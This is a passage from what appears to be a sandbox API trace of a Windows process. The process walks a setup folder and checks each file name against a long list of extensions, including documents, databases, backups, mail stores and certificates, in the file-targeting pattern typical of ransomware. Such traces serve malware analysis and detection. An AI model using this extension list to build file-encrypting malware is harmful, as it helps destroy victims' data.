(lpString1=".jpeg", lpString2="a.rtf") returned -1 [0084.131] lstrlenW (lpString=".jpf") returned 4 [0084.131] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0084.132] lstrlenW (lpString=".jpg") returned 4 [0084.132] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0084.132] lstrlenW (lpString=".jpx") returned 4 [0084.132] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0084.132] lstrlenW (lpString=".js") returned 3 [0084.132] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0084.132] lstrlenW (lpString=".jsf") returned 4 [0084.132] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0084.132] lstrlenW (lpString=".json") returned 5 [0084.132] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0084.132] lstrlenW (lpString=".jsp") returned 4 [0084.132] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0084.132] lstrlenW (lpString=".kdc") returned 4 [0084.132] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0084.132] lstrlenW (lpString=".kmz") returned 4 [0084.132] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0084.132] lstrlenW (lpString=".kwm") returned 4 [0084.132] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0084.132] lstrlenW (lpString=".lasso") returned 6 [0084.132] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0084.132] lstrlenW (lpString=".lbi") returned 4 [0084.132] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0084.132] lstrlenW (lpString=".lgf") returned 4 [0084.132] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0084.132] lstrlenW (lpString=".lgp") returned 4 [0084.132] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0084.132] lstrlenW (lpString=".log") returned 4 [0084.132] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0084.133] lstrlenW (lpString=".m1v") returned 4 [0084.133] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0084.133] lstrlenW (lpString=".m4a") returned 4 [0084.133] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0084.133] lstrlenW (lpString=".m4v") returned 4 [0084.133] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0084.133] lstrlenW (lpString=".max") returned 4 [0084.133] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0084.133] lstrlenW (lpString=".md") returned 3 [0084.133] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0084.133] lstrlenW (lpString=".mda") returned 4 [0084.133] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0084.133] lstrlenW (lpString=".mdb") returned 4 [0084.133] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0084.133] lstrlenW (lpString=".mde") returned 4 [0084.133] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0084.133] lstrlenW (lpString=".mdf") returned 4 [0084.133] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0084.133] lstrlenW (lpString=".mdw") returned 4 [0084.133] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0084.133] lstrlenW (lpString=".mef") returned 4 [0084.133] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0084.133] lstrlenW (lpString=".mft") returned 4 [0084.133] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0084.133] lstrlenW (lpString=".mfw") returned 4 [0084.133] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0084.133] lstrlenW (lpString=".mht") returned 4 [0084.133] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0084.133] lstrlenW (lpString=".mhtml") returned 6 [0084.134] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0084.134] lstrlenW (lpString=".mka") returned 4 [0084.134] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0084.134] lstrlenW (lpString=".mkidx") returned 6 [0084.134] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0084.134] lstrlenW (lpString=".mkv") returned 4 [0084.134] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0084.134] lstrlenW (lpString=".mos") returned 4 [0084.134] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0084.134] lstrlenW (lpString=".mov") returned 4 [0084.134] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0084.134] lstrlenW (lpString=".mp3") returned 4 [0084.134] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0084.134] lstrlenW (lpString=".mp4") returned 4 [0084.134] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0084.134] lstrlenW (lpString=".mpeg") returned 5 [0084.134] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0084.134] lstrlenW (lpString=".mpg") returned 4 [0084.134] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0084.134] lstrlenW (lpString=".mpv") returned 4 [0084.134] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0084.134] lstrlenW (lpString=".mrw") returned 4 [0084.134] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0084.134] lstrlenW (lpString=".msg") returned 4 [0084.134] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0084.134] lstrlenW (lpString=".mxl") returned 4 [0084.134] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0084.135] lstrlenW (lpString=".myd") returned 4 [0084.135] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0084.135] lstrlenW (lpString=".myi") returned 4 [0084.135] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0084.135] lstrlenW (lpString=".nef") returned 4 [0084.135] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0084.135] lstrlenW (lpString=".nrw") returned 4 [0084.135] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0084.135] lstrlenW (lpString=".obj") returned 4 [0084.135] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0084.135] lstrlenW (lpString=".odb") returned 4 [0084.135] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0084.135] lstrlenW (lpString=".odc") returned 4 [0084.135] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0084.135] lstrlenW (lpString=".odm") returned 4 [0084.135] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0084.135] lstrlenW (lpString=".odp") returned 4 [0084.135] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0084.135] lstrlenW (lpString=".ods") returned 4 [0084.135] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0084.135] lstrlenW (lpString=".oft") returned 4 [0084.135] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0084.135] lstrlenW (lpString=".one") returned 4 [0084.135] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0084.135] lstrlenW (lpString=".onepkg") returned 7 [0084.135] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0084.135] lstrlenW (lpString=".onetoc2") returned 8 [0084.136] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0084.136] lstrlenW (lpString=".opt") returned 4 [0084.136] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0084.136] lstrlenW (lpString=".oqy") returned 4 [0084.136] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0084.136] lstrlenW (lpString=".orf") returned 4 [0084.136] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0084.136] lstrlenW (lpString=".p12") returned 4 [0084.136] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0084.136] lstrlenW (lpString=".p7b") returned 4 [0084.136] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0084.136] lstrlenW (lpString=".p7c") returned 4 [0084.136] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0084.136] lstrlenW (lpString=".pam") returned 4 [0084.136] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0084.136] lstrlenW (lpString=".pbm") returned 4 [0084.136] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0084.136] lstrlenW (lpString=".pct") returned 4 [0084.136] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0084.136] lstrlenW (lpString=".pcx") returned 4 [0084.136] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0084.136] lstrlenW (lpString=".pdd") returned 4 [0084.136] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0084.136] lstrlenW (lpString=".pdf") returned 4 [0084.136] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0084.136] lstrlenW (lpString=".pdp") returned 4 [0084.137] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0084.137] lstrlenW (lpString=".pef") returned 4 [0084.137] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0084.137] lstrlenW (lpString=".pem") returned 4 [0084.137] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0084.137] lstrlenW (lpString=".pff") returned 4 [0084.137] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0084.137] lstrlenW (lpString=".pfm") returned 4 [0084.137] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0084.137] lstrlenW (lpString=".pfx") returned 4 [0084.137] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0084.137] lstrlenW (lpString=".pgm") returned 4 [0084.137] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0084.137] lstrlenW (lpString=".php") returned 4 [0084.137] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0084.137] lstrlenW (lpString=".php3") returned 5 [0084.137] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0084.137] lstrlenW (lpString=".php4") returned 5 [0084.137] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0084.137] lstrlenW (lpString=".php5") returned 5 [0084.137] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0084.137] lstrlenW (lpString=".phtml") returned 6 [0084.137] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0084.137] lstrlenW (lpString=".pict") returned 5 [0084.137] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0084.137] lstrlenW (lpString=".pl") returned 3 [0084.137] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0084.138] lstrlenW (lpString=".pls") returned 4 [0084.138] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0084.138] lstrlenW (lpString=".pm") returned 3 [0084.138] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0084.138] lstrlenW (lpString=".png") returned 4 [0084.138] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0084.138] lstrlenW (lpString=".pnm") returned 4 [0084.138] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0084.138] lstrlenW (lpString=".pot") returned 4 [0084.138] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0084.138] lstrlenW (lpString=".potm") returned 5 [0084.138] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0084.138] lstrlenW (lpString=".potx") returned 5 [0084.138] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0084.138] lstrlenW (lpString=".ppa") returned 4 [0084.138] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0084.138] lstrlenW (lpString=".ppam") returned 5 [0084.138] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0084.138] lstrlenW (lpString=".ppm") returned 4 [0084.138] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0084.138] lstrlenW (lpString=".pps") returned 4 [0084.138] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0084.138] lstrlenW (lpString=".ppsm") returned 5 [0084.138] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0084.138] lstrlenW (lpString=".ppt") returned 4 [0084.138] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0084.139] lstrlenW (lpString=".pptm") returned 5 [0084.139] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0084.139] lstrlenW (lpString=".pptx") returned 5 [0084.139] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0084.139] lstrlenW (lpString=".prn") returned 4 [0084.139] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0084.139] lstrlenW (lpString=".ps") returned 3 [0084.139] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0084.139] lstrlenW (lpString=".psb") returned 4 [0084.139] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0084.139] lstrlenW (lpString=".psd") returned 4 [0084.139] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0084.139] lstrlenW (lpString=".pst") returned 4 [0084.139] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0084.139] lstrlenW (lpString=".ptx") returned 4 [0084.139] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0084.139] lstrlenW (lpString=".pub") returned 4 [0084.139] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0084.139] lstrlenW (lpString=".pwm") returned 4 [0084.139] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0084.139] lstrlenW (lpString=".pxr") returned 4 [0084.139] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0084.139] lstrlenW (lpString=".py") returned 3 [0084.139] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0084.139] lstrlenW (lpString=".qt") returned 3 [0084.139] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0084.139] lstrlenW (lpString=".r3d") returned 4 [0084.140] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0084.140] lstrlenW (lpString=".raf") returned 4 [0084.140] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0084.140] lstrlenW (lpString=".rar") returned 4 [0084.140] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0084.140] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0084.140] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0084.140] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0084.140] FindClose (in: hFindFile=0x4260790 | out: hFindFile=0x4260790) returned 1 [0084.140] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0084.141] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1 [0084.141] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0084.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040") returned 26 [0084.141] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260190 [0084.142] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.142] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0084.142] lstrlenW (lpString="eula.rtf") returned 8 [0084.142] lstrlenW (lpString=".1cd") returned 4 [0084.142] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0084.142] lstrlenW (lpString=".3ds") returned 4 [0084.142] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0084.142] lstrlenW (lpString=".3fr") returned 4 [0084.142] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0084.142] lstrlenW (lpString=".3g2") returned 4 [0084.142] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0084.142] lstrlenW (lpString=".3gp") returned 4 [0084.142] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0084.142] lstrlenW (lpString=".7z") returned 3 [0084.142] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0084.142] lstrlenW (lpString=".accda") returned 6 [0084.142] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0084.142] lstrlenW (lpString=".accdb") returned 6 [0084.142] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0084.142] lstrlenW (lpString=".accdc") returned 6 [0084.143] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0084.143] lstrlenW (lpString=".accde") returned 6 [0084.143] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0084.143] lstrlenW (lpString=".accdt") returned 6 [0084.143] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0084.143] lstrlenW (lpString=".accdw") returned 6 [0084.143] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0084.143] lstrlenW (lpString=".adb") returned 4 [0084.143] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0084.143] lstrlenW (lpString=".adp") returned 4 [0084.143] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0084.143] lstrlenW (lpString=".ai") returned 3 [0084.143] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0084.143] lstrlenW (lpString=".ai3") returned 4 [0084.143] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0084.143] lstrlenW (lpString=".ai4") returned 4 [0084.143] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0084.143] lstrlenW (lpString=".ai5") returned 4 [0084.143] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0084.143] lstrlenW (lpString=".ai6") returned 4 [0084.143] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0084.143] lstrlenW (lpString=".ai7") returned 4 [0084.143] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0084.143] lstrlenW (lpString=".ai8") returned 4 [0084.143] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0084.143] lstrlenW (lpString=".anim") returned 5 [0084.143] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0084.144] lstrlenW (lpString=".arw") returned 4 [0084.144] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0084.144] lstrlenW (lpString=".as") returned 3 [0084.144] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0084.144] lstrlenW (lpString=".asa") returned 4 [0084.144] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0084.144] lstrlenW (lpString=".asc") returned 4 [0084.144] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0084.144] lstrlenW (lpString=".ascx") returned 5 [0084.144] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0084.144] lstrlenW (lpString=".asm") returned 4 [0084.144] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0084.144] lstrlenW (lpString=".asmx") returned 5 [0084.144] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0084.144] lstrlenW (lpString=".asp") returned 4 [0084.144] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0084.144] lstrlenW (lpString=".aspx") returned 5 [0084.144] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0084.144] lstrlenW (lpString=".asr") returned 4 [0084.145] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0084.145] lstrlenW (lpString=".asx") returned 4 [0084.145] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0084.145] lstrlenW (lpString=".avi") returned 4 [0084.145] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0084.145] lstrlenW (lpString=".avs") returned 4 [0084.145] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0084.145] lstrlenW (lpString=".backup") returned 7 [0084.145] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0084.145] lstrlenW (lpString=".bak") returned 4 [0084.145] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0084.145] lstrlenW (lpString=".bay") returned 4 [0084.145] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0084.145] lstrlenW (lpString=".bd") returned 3 [0084.145] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0084.145] lstrlenW (lpString=".bin") returned 4 [0084.145] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0084.145] lstrlenW (lpString=".bmp") returned 4 [0084.145] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0084.145] lstrlenW (lpString=".bz2") returned 4 [0084.145] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0084.145] lstrlenW (lpString=".c") returned 2 [0084.145] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0084.146] lstrlenW (lpString=".cdr") returned 4 [0084.146] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0084.146] lstrlenW (lpString=".cer") returned 4 [0084.146] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0084.146] lstrlenW (lpString=".cf") returned 3 [0084.146] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0084.146] lstrlenW (lpString=".cfc") returned 4 [0084.146] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0084.146] lstrlenW (lpString=".cfm") returned 4 [0084.146] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0084.146] lstrlenW (lpString=".cfml") returned 5 [0084.146] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0084.146] lstrlenW (lpString=".cfu") returned 4 [0084.146] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0084.146] lstrlenW (lpString=".chm") returned 4 [0084.146] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0084.146] lstrlenW (lpString=".cin") returned 4 [0084.146] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0084.146] lstrlenW (lpString=".class") returned 6 [0084.146] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0084.146] lstrlenW (lpString=".clx") returned 4 [0084.146] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0084.146] lstrlenW (lpString=".config") returned 7 [0084.146] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0084.146] lstrlenW (lpString=".cpp") returned 4 [0084.146] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0084.147] lstrlenW (lpString=".cr2") returned 4 [0084.147] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0084.147] lstrlenW (lpString=".crt") returned 4 [0084.147] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0084.147] lstrlenW (lpString=".crw") returned 4 [0084.147] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0084.147] lstrlenW (lpString=".cs") returned 3 [0084.147] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0084.147] lstrlenW (lpString=".css") returned 4 [0084.147] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0084.147] lstrlenW (lpString=".csv") returned 4 [0084.147] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0084.147] lstrlenW (lpString=".cub") returned 4 [0084.147] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0084.147] lstrlenW (lpString=".dae") returned 4 [0084.147] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0084.147] lstrlenW (lpString=".dat") returned 4 [0084.147] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0084.147] lstrlenW (lpString=".db") returned 3 [0084.147] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0084.147] lstrlenW (lpString=".dbf") returned 4 [0084.147] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0084.147] lstrlenW (lpString=".dbx") returned 4 [0084.147] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0084.147] lstrlenW (lpString=".dc3") returned 4 [0084.147] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0084.147] lstrlenW (lpString=".dcm") returned 4 [0084.147] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0084.148] lstrlenW (lpString=".dcr") returned 4 [0084.148] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0084.148] lstrlenW (lpString=".der") returned 4 [0084.148] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0084.148] lstrlenW (lpString=".dib") returned 4 [0084.148] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0084.148] lstrlenW (lpString=".dic") returned 4 [0084.148] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0084.148] lstrlenW (lpString=".dif") returned 4 [0084.148] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0084.148] lstrlenW (lpString=".divx") returned 5 [0084.148] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0084.148] lstrlenW (lpString=".djvu") returned 5 [0084.148] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0084.148] 